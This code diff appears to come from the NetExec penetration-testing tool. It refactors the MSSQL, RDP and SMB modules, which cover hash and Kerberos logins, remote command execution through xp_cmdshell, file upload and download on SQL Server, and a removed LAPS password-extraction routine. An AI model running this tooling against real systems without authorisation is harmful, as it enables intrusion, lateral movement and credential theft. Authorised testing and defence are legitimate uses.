+                self.admin_privs = True
+    
+    @reconnect_mssql
+    def enum_host_info(self):
+        challenge = None
+        try:
+            login = tds.TDS_LOGIN()
+            login["HostName"] = ""
+            login["AppName"] = ""
+            login["ServerName"] = self.conn.server.encode("utf-16le")
+            login["CltIntName"] = login["AppName"]
+            login["ClientPID"] = random.randint(0, 1024)
+            login["PacketSize"] = self.conn.packetSize
+            login["OptionFlags2"] = tds.TDS_INIT_LANG_FATAL | tds.TDS_ODBC_ON | tds.TDS_INTEGRATED_SECURITY_ON
+            
+            # NTLMSSP Negotiate
+            auth = ntlm.getNTLMSSPType1("", "")
+            login["SSPI"] = auth.getData()
+            login["Length"] = len(login.getData())
+
+            # Get number of mssql instance
+            self.mssql_instances = self.conn.getInstances(0)
+
+            # Send the NTLMSSP Negotiate or SQL Auth Packet
+            self.conn.sendTDS(tds.TDS_LOGIN7, login.getData())
+
+            tdsx = self.conn.recvTDS()
+            challenge = tdsx["Data"][3:]
+            self.logger.info(f"NTLM challenge: {challenge!s}")
+        except Exception as e:
+            self.logger.info(f"Failed to receive NTLM challenge, reason: {e!s}")
             return False
+        else:
+            ntlm_info = parse_challenge(challenge)
+            self.targetDomain = self.domain = ntlm_info["domain"]
+            self.hostname = ntlm_info["hostname"]
+            self.server_os = ntlm_info["os_version"]
+            self.logger.extra["hostname"] = self.hostname
+            self.db.add_host(self.host, self.hostname, self.targetDomain, self.server_os, len(self.mssql_instances),)
+
+        if self.args.domain:
+            self.domain = self.args.domain
+        if self.args.local_auth:
+            self.domain = self.hostname
+
+        self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
+
+        if not self.kdcHost and self.domain:
+            result = self.resolver(self.domain)
+            self.kdcHost = result["host"] if result else None
+            self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
+
+    def print_host_info(self):
+        self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})")
         return True
 
+    @reconnect_mssql
     def kerberos_login(
         self,
         domain,
@@ -144,146 +153,125 @@ class mssql(connection):
         kdcHost="",
         useCache=False,
     ):
-        with contextlib.suppress(Exception):
-            self.conn.disconnect()
-        self.create_conn_obj()
-
+        self.username = username
+        self.password = password
+        self.domain = domain
+        self.nthash = ""
         hashes = None
-        if ntlm_hash != "":
+        if ntlm_hash:
             if ntlm_hash.find(":") != -1:
-                hashes = ntlm_hash
-                ntlm_hash.split(":")[1]
+                self.nthash = ntlm_hash.split(":")[1]
+                hashes = f":{self.nthash}"
             else:
-                # only nt hash
-                hashes = f":{ntlm_hash}"
+                self.nthash = ntlm_hash
+                hashes = f":{self.nthash}"
 
         kerb_pass = next(s for s in [self.nthash, password, aesKey] if s) if not all(s == "" for s in [self.nthash, password, aesKey]) else ""
+
+        if useCache and kerb_pass == "":
+            ccache = CCache.loadFile(os.getenv("KRB5CCNAME"))
+            username = ccache.credentials[0].header["client"].prettyPrint().decode().split("@")[0]
+            self.username = username
+
+        used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
         try:
             res = self.conn.kerberosLogin(
                 None,
-                username,
-                password,
-                domain,
+                self.username,
+                self.password,
+                self.domain,
                 hashes,
                 aesKey,
                 kdcHost=kdcHost,
                 useCache=useCache,
             )
             if res is not True:
-                self.conn.printReplies()
-                return False
-
-            self.password = password
-            if username == "" and useCache:
-                ccache = CCache.loadFile(os.getenv("KRB5CCNAME"))
-                principal = ccache.principal.toPrincipal()
-                self.username = principal.components[0]
-                username = principal.components[0]
-            else:
-                self.username = username
-            self.domain = domain
+                raise
             self.check_if_admin()
-
-            used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
-            domain = f"{domain}\\" if not self.args.local_auth else ""
-
-            self.logger.success(f"{domain}{username}{used_ccache} {self.mark_pwned()}")
-            if not self.args.local_auth:
+            self.logger.success(f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}")
+            if not self.args.local_auth and self.username != "":
                 add_user_bh(self.username, self.domain, self.logger, self.config)
             if self.admin_privs:
-                add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
-            return True
-        except Exception as e:
-            used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
-            domain = f"{domain}\\" if not self.args.local_auth else ""
-            self.logger.fail(f"{domain}\\{username}{used_ccache} {e}")
-            return False
-
-    def plaintext_login(self, domain, username, password):
-        with contextlib.suppress(Exception):
-            self.conn.disconnect()
-        self.create_conn_obj()
-
-        try:
-            # this is to prevent a decoding issue in impacket/ntlm.py:617 where it attempts to decode the domain
-            if not domain:
-                domain = ""
-            res = self.conn.login(None, username, password, domain, None, not self.args.local_auth)
-            if res is not True:
-                self.handle_mssql_reply()
-                return False
-
-            self.password = password
-            self.username = username
-            self.domain = domain
-            self.check_if_admin()
-            self.db.add_credential("plaintext", domain, username, password)
-
-            if self.admin_privs:
-                self.db.add_admin_user("plaintext", domain, username, password, self.host)
-                add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
-
-            domain = f"{domain}\\" if not self.args.local_auth else ""
-            out = f"{domain}{username}:{process_secret(password)} {self.mark_pwned()}"
-            self.logger.success(out)
-            if not self.args.local_auth:
-                add_user_bh(self.username, self.domain, self.logger, self.config)
+                add_user_bh(f"{self.hostname}$", self.domain, self.logger, self.config)
             return True
         except BrokenPipeError:
             self.logger.fail("Broken Pipe Error while attempting to login")
             return False
-        except Exception as e:
-            self.logger.fail(f"{domain}\\{username}:{process_secret(password)}")
-            self.logger.exception(e)
+        except Exception:
+            error_msg = self.handle_mssql_reply()
+            self.logger.fail("{}\\{}:{} {}".format(self.domain, self.username, kerb_pass, error_msg if error_msg else ""))
             return False
 
+    @reconnect_mssql
+    def plaintext_login(self, domain, username, password):
+        self.password = password
+        self.username = username
+        self.domain = domain
+        
+        try:
+            res = self.conn.login(
+                None,
+                self.username,
+                self.password,
+                self.domain,
+                None,
+                not self.args.local_auth,
+            )
+            if res is not True:
+                raise
+            self.check_if_admin()
+            out = f"{self.domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
+            self.logger.success(out)
+            if not self.args.local_auth and self.username != "":
+                add_user_bh(self.username, self.domain, self.logger, self.config)
+            if self.admin_privs:
+                add_user_bh(f"{self.hostname}$", self.domain, self.logger, self.config)
+            return True
+        except BrokenPipeError:
+            self.logger.fail("Broken Pipe Error while attempting to login")
+            return False
+        except Exception:
+            error_msg = self.handle_mssql_reply()
+            self.logger.fail("{}\\{}:{} {}".format(self.domain, self.username, process_secret(self.password), error_msg if error_msg else ""))
+            return False
+
+    @reconnect_mssql
     def hash_login(self, domain, username, ntlm_hash):
-        lmhash = ""
-        nthash = ""
-
-        # This checks to see if we didn't provide the LM Hash
+        self.username = username
+        self.domain = domain
+        self.lmhash = ""
+        self.nthash = ""
+        
         if ntlm_hash.find(":") != -1:
-            lmhash, nthash = ntlm_hash.split(":")
+            self.lmhash, self.nthash = ntlm_hash.split(":")
         else:
-            nthash = ntlm_hash
-
-        with contextlib.suppress(Exception):
-            self.conn.disconnect()
-        self.create_conn_obj()
+            self.nthash = ntlm_hash
 
         try:
             res = self.conn.login(
                 None,
-                username,
+                self.username,
                 "",
-                domain,
-                ":" + nthash if not lmhash else ntlm_hash,
+                self.domain,
+                f"{self.lmhash}:{self.nthash}",
                 not self.args.local_auth,
             )
             if res is not True:
-                self.conn.printReplies()
-                return False
-
-            self.hash = ntlm_hash
-            self.username = username
-            self.domain = domain
+                raise
             self.check_if_admin()
-            self.db.add_credential("hash", domain, username, ntlm_hash)
-
-            if self.admin_privs:
-                self.db.add_admin_user("hash", domain, username, ntlm_hash, self.host)
-                add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
-
-            out = f"{domain}\\{username} {process_secret(ntlm_hash)} {self.mark_pwned()}"
+            out = f"{self.domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}"
             self.logger.success(out)
-            if not self.args.local_auth:
+            if not self.args.local_auth and self.username != "":
                 add_user_bh(self.username, self.domain, self.logger, self.config)
+            if self.admin_privs:
+                add_user_bh(f"{self.hostname}$", self.domain, self.logger, self.config)
             return True
         except BrokenPipeError:
             self.logger.fail("Broken Pipe Error while attempting to login")
             return False
-        except Exception as e:
-            self.logger.fail(f"{domain}\\{username}:{process_secret(ntlm_hash)} {e}")
+        except Exception:
+            error_msg = self.handle_mssql_reply()
+            self.logger.fail("{}\\{}:{} {}".format(self.domain, self.username, process_secret(self.nthash), error_msg if error_msg else ""))
             return False
 
     def mssql_query(self):
@@ -306,47 +294,39 @@ class mssql(connection):
                 else:
                     self.logger.fail("Unexpected output")
         except Exception as e:
-            self.logger.exception(e)
+            self.logger.exception(f"Failed to excuted MSSQL query, reason: {e}")
             return None
-
         return raw_output
 
     @requires_admin
-    def execute(self, payload=None, print_output=False):
+    def execute(self, payload=None, get_output=False):
         if not payload and self.args.execute:
             payload = self.args.execute
 
-        self.logger.info(f"Command to execute:\n{payload}")
+        if not self.args.no_output:
+            get_output = True
+
+        self.logger.info(f"Command to execute: {payload}")
         try:
-            exec_method = MSSQLEXEC(self.conn)
-            raw_output = exec_method.execute(payload, print_output)
-            self.logger.info("Executed command via mssqlexec")
-            self.logger.debug(f"Raw output: {raw_output}")
+            exec_method = MSSQLEXEC(self.conn, self.logger)
+            raw_output = exec_method.execute(payload, get_output)
         except Exception as e:
-            self.logger.exception(e)
-            return None
-
-        if hasattr(self, "server"):
-            self.server.track_host(self.host)
-
-        if self.args.execute or self.args.ps_execute:
+            self.logger.fail(f"Execute command failed, error: {e!s}")
+            return False
+        else:
             self.logger.success("Executed command via mssqlexec")
-            if self.args.no_output:
-                self.logger.debug("Output set to disabled")
-            else:
+            if raw_output:
                 for line in raw_output:
                     self.logger.highlight(line)
-
-        return raw_output
+            return raw_output
 
     @requires_admin
     def ps_execute(
         self,
         payload=None,
         get_output=False,
-        methods=None,
         force_ps32=False,
-        dont_obfs=True,
+        dont_obfs=False,
     ):
         if not payload and self.args.ps_execute:
             payload = self.args.ps_execute
@@ -364,7 +344,7 @@ class mssql(connection):
             try:
                 data = f.read()
                 self.logger.display(f"Size is {len(data)} bytes")
-                exec_method = MSSQLEXEC(self.conn)
+                exec_method = MSSQLEXEC(self.conn, self.logger)
                 exec_method.put_file(data, self.args.put_file[1])
                 if exec_method.file_exists(self.args.put_file[1]):
                     self.logger.success("File has been uploaded on the remote machine")
@@ -374,13 +354,13 @@ class mssql(connection):
                 self.logger.fail(f"Error during upload : {e}")
 
     @requires_admin
-    def get_file(self):
+    def get_file(self): 
         remote_path = self.args.get_file[0]
         download_path = self.args.get_file[1]
         self.logger.display(f'Copying "{remote_path}" to "{download_path}"')
 
         try:
-            exec_method = MSSQLEXEC(self.conn)
+            exec_method = MSSQLEXEC(self.conn, self.logger)
             exec_method.get_file(self.args.get_file[0], self.args.get_file[1])
             self.logger.success(f'File "{remote_path}" was downloaded to "{download_path}"')
         except Exception as e:
@@ -394,13 +374,13 @@ class mssql(connection):
         for keys in self.conn.replies:
             for _i, key in enumerate(self.conn.replies[keys]):
                 if key["TokenType"] == TDS_ERROR_TOKEN:
-                    error = f"ERROR({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}"
+                    error_msg = f"({key['MsgText'].decode('utf-16le')} Please try again with or without '--local-auth')"
                     self.conn.lastError = SQLErrorException(f"ERROR: Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}")
-                    self.logger.fail(error)
+                    return error_msg
                 elif key["TokenType"] == TDS_INFO_TOKEN:
-                    self.logger.display(f"INFO({key['ServerName'].decode('utf-16le')}): Line {key['LineNumber']:d}: {key['MsgText'].decode('utf-16le')}")
+                    return f"({key['MsgText'].decode('utf-16le')})"
                 elif key["TokenType"] == TDS_LOGINACK_TOKEN:
-                    self.logger.display(f"ACK: Result: {key['Interface']} - {key['ProgName'].decode('utf-16le')} ({key['MajorVer']:d}{key['MinorVer']:d} {key['BuildNumHi']:d}{key['BuildNumLow']:d}) ")
+                    return f"(ACK: Result: {key['Interface']} - {key['ProgName'].decode('utf-16le')} ({key['MajorVer']:d}{key['MinorVer']:d} {key['BuildNumHi']:d}{key['BuildNumLow']:d}) )"
                 elif key["TokenType"] == TDS_ENVCHANGE_TOKEN and key["Type"] in (
                     TDS_ENVCHANGE_DATABASE,
                     TDS_ENVCHANGE_LANGUAGE,
@@ -422,4 +402,4 @@ class mssql(connection):
                         _type = "PACKETSIZE"
                     else:
                         _type = f"{key['Type']:d}"
-                    self.logger.display(f"ENVCHANGE({_type}): Old Value: {record['OldValue'].decode('utf-16le')}, New Value: {record['NewValue'].decode('utf-16le')}")
+                    return f"(ENVCHANGE({_type}): Old Value: {record['OldValue'].decode('utf-16le')}, New Value: {record['NewValue'].decode('utf-16le')})"

nxc/protocols/mssql/database.py

@@ -77,7 +77,7 @@ class database:
                 print(
                     f"""
                     [-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
-                    [-] This is probably because a newer version of nxc is being ran on an old DB schema
+                    [-] This is probably because a newer version of nxc is being run on an old DB schema
                     [-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
                     [-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
                 )

nxc/protocols/mssql/mssqlexec.py

@@ -1,38 +1,38 @@
 import binascii
-from nxc.logger import nxc_logger
 
 
 class MSSQLEXEC:
-    def __init__(self, connection):
+    def __init__(self, connection, logger):
         self.mssql_conn = connection
-        self.outputBuffer = ""
+        self.logger = logger
+        self.outputBuffer = []
 
     def execute(self, command, output=False):
-        command_output = []
         try:
             self.enable_xp_cmdshell()
         except Exception as e:
-            nxc_logger.error(f"Error when attempting to enable x_cmdshell: {e}")
+            self.logger.error(f"Error when attempting to enable x_cmdshell: {e}")
+
         try:
             result = self.mssql_conn.sql_query(f"exec master..xp_cmdshell '{command}'")
-            nxc_logger.debug(f"SQL Query Result: {result}")
-            for row in result:
-                if row["output"] == "NULL":
-                    continue
-                command_output.append(row["output"])
         except Exception as e:
-            nxc_logger.error(f"Error when attempting to execute command via xp_cmdshell: {e}")
+            self.logger.error(f"Error when attempting to execute command via xp_cmdshell: {e}")
 
-        if output:
-            nxc_logger.debug("Output is enabled")
-            for row in command_output:
-                nxc_logger.debug(row)
-            # if len(self.outputBuffer):
         try:
             self.disable_xp_cmdshell()
         except Exception as e:
-            nxc_logger.error(f"[OPSEC] Error when attempting to disable xp_cmdshell: {e}")
-        return command_output
+            self.logger.error(f"[OPSEC] Error when attempting to disable xp_cmdshell: {e}")
+
+        if output:
+            self.logger.debug(f"SQL Query Result: {result}")
+            for row in result:
+                if row["output"] == "NULL":
+                    continue
+                self.outputBuffer.append(row["output"])
+        else:
+            self.logger.info("Output set to disabled")
+
+        return self.outputBuffer
 
     def enable_xp_cmdshell(self):
         self.mssql_conn.sql_query("exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;")
@@ -53,7 +53,7 @@ class MSSQLEXEC:
             self.mssql_conn.sql_query(f"DECLARE @ob INT;EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;EXEC sp_OASetProperty @ob, 'Type', 1;EXEC sp_OAMethod @ob, 'Open';EXEC sp_OAMethod @ob, 'Write', NULL, 0x{hexdata};EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{remote}', 2;EXEC sp_OAMethod @ob, 'Close';EXEC sp_OADestroy @ob;")
             self.disable_ole()
         except Exception as e:
-            nxc_logger.debug(f"Error uploading via mssqlexec: {e}")
+            self.logger.debug(f"Error uploading via mssqlexec: {e}")
 
     def file_exists(self, remote):
         try:
@@ -71,4 +71,4 @@ class MSSQLEXEC:
                 f.write(binascii.unhexlify(data))
 
         except Exception as e:
-            nxc_logger.debug(f"Error downloading via mssqlexec: {e}")
+            self.logger.debug(f"Error downloading via mssqlexec: {e}")

nxc/protocols/mssql/proto_args.py

@@ -1,17 +1,13 @@
-from argparse import _StoreTrueAction
-
-
 def proto_args(parser, std_parser, module_parser):
     mssql_parser = parser.add_parser("mssql", help="own stuff using MSSQL", parents=[std_parser, module_parser])
     mssql_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
     mssql_parser.add_argument("--port", default=1433, type=int, metavar="PORT", help="MSSQL port (default: 1433)")
+    mssql_parser.add_argument("--mssql-timeout", help="SQL server connection timeout, default is %(default)s seconds", type=int, default=5)
     mssql_parser.add_argument("-q", "--query", dest="mssql_query", metavar="QUERY", type=str, help="execute the specified query against the MSSQL DB")
-    no_smb_arg = mssql_parser.add_argument("--no-smb", action=get_conditional_action(_StoreTrueAction), make_required=[], help="No smb connection")
 
     dgroup = mssql_parser.add_mutually_exclusive_group()
-    domain_arg = dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, help="domain name")
+    dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, help="domain name")
     dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")
-    no_smb_arg.make_required = [domain_arg]
 
     cgroup = mssql_parser.add_argument_group("Command Execution", "options for executing commands")
     cgroup.add_argument("--force-ps32", action="store_true", help="force the PowerShell command to run in a 32-bit process")
@@ -25,22 +21,7 @@ def proto_args(parser, std_parser, module_parser):
     psgroup.add_argument("--clear-obfscripts", action="store_true", help="Clear all cached obfuscated PowerShell scripts")
 
     tgroup = mssql_parser.add_argument_group("Files", "Options for put and get remote files")
-    tgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt C:\\Windows\\Temp\\whoami.txt")
-    tgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Get a remote file, ex: C:\\Windows\\Temp\\whoami.txt whoami.txt")
+    tgroup.add_argument("--put-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Put a local file into remote target, ex: whoami.txt C:\\Windows\\Temp\\whoami.txt")
+    tgroup.add_argument("--get-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Get a remote file, ex: C:\\Windows\\Temp\\whoami.txt whoami.txt")
 
-    return parser
-
-
-def get_conditional_action(baseAction):
-    class ConditionalAction(baseAction):
-        def __init__(self, option_strings, dest, **kwargs):
-            x = kwargs.pop("make_required", [])
-            super().__init__(option_strings, dest, **kwargs)
-            self.make_required = x
-
-        def __call__(self, parser, namespace, values, option_string=None):
-            for x in self.make_required:
-                x.required = True
-            super().__call__(parser, namespace, values, option_string)
-
-    return ConditionalAction
+    return parser

nxc/protocols/rdp.py

@@ -87,6 +87,16 @@ class rdp(connection):
     #             if hasattr(self.args, 'module') and self.args.module:
 
     def proto_logger(self):
+        import platform
+        if platform.python_version() in ["3.11.5", "3.11.6", "3.12.0"]:
+            import sys
+
+            class DevNull:
+                def write(self, msg):
+                    pass
+
+            sys.stderr = DevNull()
+
         self.logger = NXCAdapter(
             extra={
                 "protocol": "RDP",
@@ -140,10 +150,16 @@ class rdp(connection):
 
         if self.args.domain:
             self.domain = self.args.domain
-
         if self.args.local_auth:
             self.domain = self.hostname
 
+        self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
+
+        if not self.kdcHost and self.domain:
+            result = self.resolver(self.domain)
+            self.kdcHost = result["host"] if result else None
+            self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
+
         self.target = RDPTarget(
             ip=self.host,
             hostname=self.hostname,
@@ -210,7 +226,17 @@ class rdp(connection):
             else:
                 stype = asyauthSecret.PASS if not nthash else asyauthSecret.NT
 
-            kerberos_target = UniTarget(self.domain, 88, UniProto.CLIENT_TCP, proxies=None, dns=None, dc_ip=self.domain, domain=self.domain)
+            kerberos_target = UniTarget(
+                self.host,
+                88,
+                UniProto.CLIENT_TCP,
+                timeout=self.args.rdp_timeout,
+                hostname=self.remoteName,
+                dc_ip=self.kdcHost,
+                domain=self.domain,
+                proxies=None,
+                dns=None,
+            )
             self.auth = KerberosCredential(
                 target=kerberos_target,
                 secret=password,
@@ -233,7 +259,7 @@ class rdp(connection):
                     self.mark_pwned(),
                 )
             )
-            if not self.args.local_auth:
+            if not self.args.local_auth and self.username != "":
                 add_user_bh(username, domain, self.logger, self.config)
             if self.admin_privs:
                 add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
@@ -279,7 +305,7 @@ class rdp(connection):
 
             self.admin_privs = True
             self.logger.success(f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}")
-            if not self.args.local_auth:
+            if not self.args.local_auth and self.username != "":
                 add_user_bh(username, domain, self.logger, self.config)
             if self.admin_privs:
                 add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
@@ -313,7 +339,7 @@ class rdp(connection):
 
             self.admin_privs = True
             self.logger.success(f"{self.domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}")
-            if not self.args.local_auth:
+            if not self.args.local_auth and self.username != "":
                 add_user_bh(username, domain, self.logger, self.config)
             if self.admin_privs:
                 add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)

nxc/protocols/rdp/database.py

@@ -57,7 +57,7 @@ class database:
                 print(
                     f"""
                     [-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
-                    [-] This is probably because a newer version of nxc is being ran on an old DB schema
+                    [-] This is probably because a newer version of nxc is being run on an old DB schema
                     [-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
                     [-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
                 )

nxc/protocols/smb.py

@@ -1,5 +1,4 @@
 import ntpath
-import hashlib
 import binascii
 import os
 import re
@@ -44,7 +43,6 @@ from nxc.protocols.smb.smbspider import SMBSpider
 from nxc.protocols.smb.passpol import PassPolDump
 from nxc.protocols.smb.samruser import UserSamrDump
 from nxc.protocols.smb.samrfunc import SamrFunc
-from nxc.protocols.ldap.laps import LDAPConnect, LAPSv2Extract
 from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
 from nxc.helpers.logger import highlight
 from nxc.helpers.bloodhound import add_user_bh
@@ -65,7 +63,6 @@ from datetime import datetime
 from functools import wraps
 from traceback import format_exc
 import logging
-from json import loads
 from termcolor import colored
 import contextlib
 
@@ -214,8 +211,23 @@ class smb(connection):
                 # no ntlm supported
                 self.no_ntlm = True
 
-        self.domain = self.conn.getServerDNSDomainName() if not self.no_ntlm else self.args.domain
-        self.hostname = self.conn.getServerName() if not self.no_ntlm else self.host
+        # self.domain is the attribute we authenticate with
+        # self.targetDomain is the attribute which gets displayed as host domain
+        if not self.no_ntlm:
+            self.hostname = self.conn.getServerName()
+            self.targetDomain = self.conn.getServerDNSDomainName()
+            if not self.targetDomain:   # Not sure if that can even happen but now we are safe
+                self.targetDomain = self.hostname
+        else:
+            self.hostname = self.host
+            self.targetDomain = self.hostname
+
+        self.domain = self.targetDomain if not self.args.domain else self.args.domain
+
+        if self.args.local_auth:
+            self.domain = self.hostname
+            self.targetDomain = self.hostname
+
         self.server_os = self.conn.getServerOS()
         self.logger.extra["hostname"] = self.hostname
 
@@ -230,9 +242,6 @@ class smb(connection):
         self.os_arch = self.get_os_arch()
         self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
 
-        if not self.domain:
-            self.domain = self.hostname
-
         self.db.add_host(
             self.host,
             self.hostname,
@@ -247,170 +256,74 @@ class smb(connection):
             self.conn.logoff()
         except Exception as e:
             self.logger.debug(f"Error logging off system: {e}")
+        
+        # DCOM connection with kerberos needed
+        self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
 
-        if self.args.domain:
-            self.domain = self.args.domain
-        if self.args.local_auth:
-            self.domain = self.hostname
-
-    def laps_search(self, username, password, ntlm_hash, domain):
-        self.logger.extra["protocol"] = "LDAP"
-        self.logger.extra["port"] = "389"
-
-        ldapco = LDAPConnect(self.domain, "389", self.domain)
-
-        if self.kerberos:
-            if self.kdcHost is None:
-                self.logger.fail("Add --kdcHost parameter to use laps with kerberos")
-                return False
-
-            connection = ldapco.kerberos_login(
-                domain,
-                username[0] if username else "",
-                password[0] if password else "",
-                ntlm_hash[0] if ntlm_hash else "",
-                kdcHost=self.kdcHost,
-                aesKey=self.aesKey,
-            )
-        else:
-            connection = ldapco.auth_login(
-                domain,
-                username[0] if username else "",
-                password[0] if password else "",
-                ntlm_hash[0] if ntlm_hash else "",
-            )
-        if not connection:
-            self.logger.fail(f"LDAP connection failed with account {username[0]}")
-
-            return False
-
-        search_filter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + self.hostname + "))"
-        attributes = [
-            "msLAPS-EncryptedPassword",
-            "msLAPS-Password",
-            "ms-MCS-AdmPwd",
-            "sAMAccountName",
-        ]
-        results = connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
-
-        msMCSAdmPwd = ""
-        sAMAccountName = ""
-        username_laps = ""
-
-        from impacket.ldap import ldapasn1 as ldapasn1_impacket
-
-        results = [r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry)]
-        if len(results) != 0:
-            for host in results:
-                values = {str(attr["type"]).lower(): attr["vals"][0] for attr in host["attributes"]}
-                if "mslaps-encryptedpassword" in values:
-                    msMCSAdmPwd = values["mslaps-encryptedpassword"]
-                    d = LAPSv2Extract(bytes(msMCSAdmPwd), username[0] if username else "", password[0] if password else "", domain, ntlm_hash[0] if ntlm_hash else "", self.args.kerberos, self.args.kdcHost, 339)
-                    try:
-                        data = d.run()
-                    except Exception as e:
-                        self.logger.fail(str(e))
-                        return None
-                    r = loads(data)
-                    msMCSAdmPwd = r["p"]
-                    username_laps = r["n"]
-                elif "mslaps-password" in values:
-                    r = loads(str(values["mslaps-password"]))
-                    msMCSAdmPwd = r["p"]
-                    username_laps = r["n"]
-                elif "ms-mcs-admpwd" in values:
-                    msMCSAdmPwd = str(values["ms-mcs-admpwd"])
-                else:
-                    self.logger.fail("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password")
-            logging.debug(f"Host: {sAMAccountName:<20} Password: {msMCSAdmPwd} {self.hostname}")
-        else:
-            self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}")
-
-            return False
-
-        self.username = username_laps if username_laps else self.args.laps
-        self.password = msMCSAdmPwd
-
-        if msMCSAdmPwd == "":
-            self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}")
-
-            return False
-        if ntlm_hash:
-            hash_ntlm = hashlib.new("md4", msMCSAdmPwd.encode("utf-16le")).digest()
-            self.hash = binascii.hexlify(hash_ntlm).decode()
-
-        self.args.local_auth = True
-        self.domain = self.hostname
-        self.logger.extra["protocol"] = "SMB"
-        self.logger.extra["port"] = "445"
-        return True
+        if not self.kdcHost and self.domain:
+            result = self.resolver(self.domain)
+            self.kdcHost = result["host"] if result else None
+            self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
 
     def print_host_info(self):
         signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"])
         smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"])
-        self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.domain}) ({signing}) ({smbv1})")
-        if self.args.laps:
-            return self.laps_search(self.args.username, self.args.password, self.args.hash, self.domain)
+        self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1})")
         return True
 
     def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
         logging.getLogger("impacket").disabled = True
         # Re-connect since we logged off
-        kdc_host = f"{self.hostname}.{self.domain}" if not self.no_ntlm else f"{self.host}"
-        self.logger.debug(f"KDC set to: {kdc_host}")
-        self.create_conn_obj(kdc_host)
+        self.logger.debug(f"KDC set to: {kdcHost}")
+        self.create_conn_obj()
         lmhash = ""
         nthash = ""
 
         try:
-            if not self.args.laps:
-                self.password = password
-                self.username = username
-                # This checks to see if we didn't provide the LM Hash
-                if ntlm_hash.find(":") != -1:
-                    lmhash, nthash = ntlm_hash.split(":")
-                    self.hash = nthash
-                else:
-                    nthash = ntlm_hash
-                    self.hash = ntlm_hash
-                if lmhash:
-                    self.lmhash = lmhash
-                if nthash:
-                    self.nthash = nthash
-
-                if not all(s == "" for s in [self.nthash, password, aesKey]):
-                    kerb_pass = next(s for s in [self.nthash, password, aesKey] if s)
-                else:
-                    kerb_pass = ""
-                    self.logger.debug(f"Attempting to do Kerberos Login with useCache: {useCache}")
-
-                tgs = None
-                if self.args.delegate:
-                    kerb_pass = ""
-                    self.username = self.args.delegate
-                    serverName = Principal(f"cifs/{self.hostname}", type=constants.PrincipalNameType.NT_SRV_INST.value)
-                    tgs = kerberos_login_with_S4U(domain, self.hostname, username, password, nthash, lmhash, aesKey, kdcHost, self.args.delegate, serverName, useCache, no_s4u2proxy=self.args.no_s4u2proxy)
-                    self.logger.debug(f"Got TGS for {self.args.delegate} through S4U")
-
-                self.conn.kerberosLogin(self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs)
-                self.check_if_admin()
-
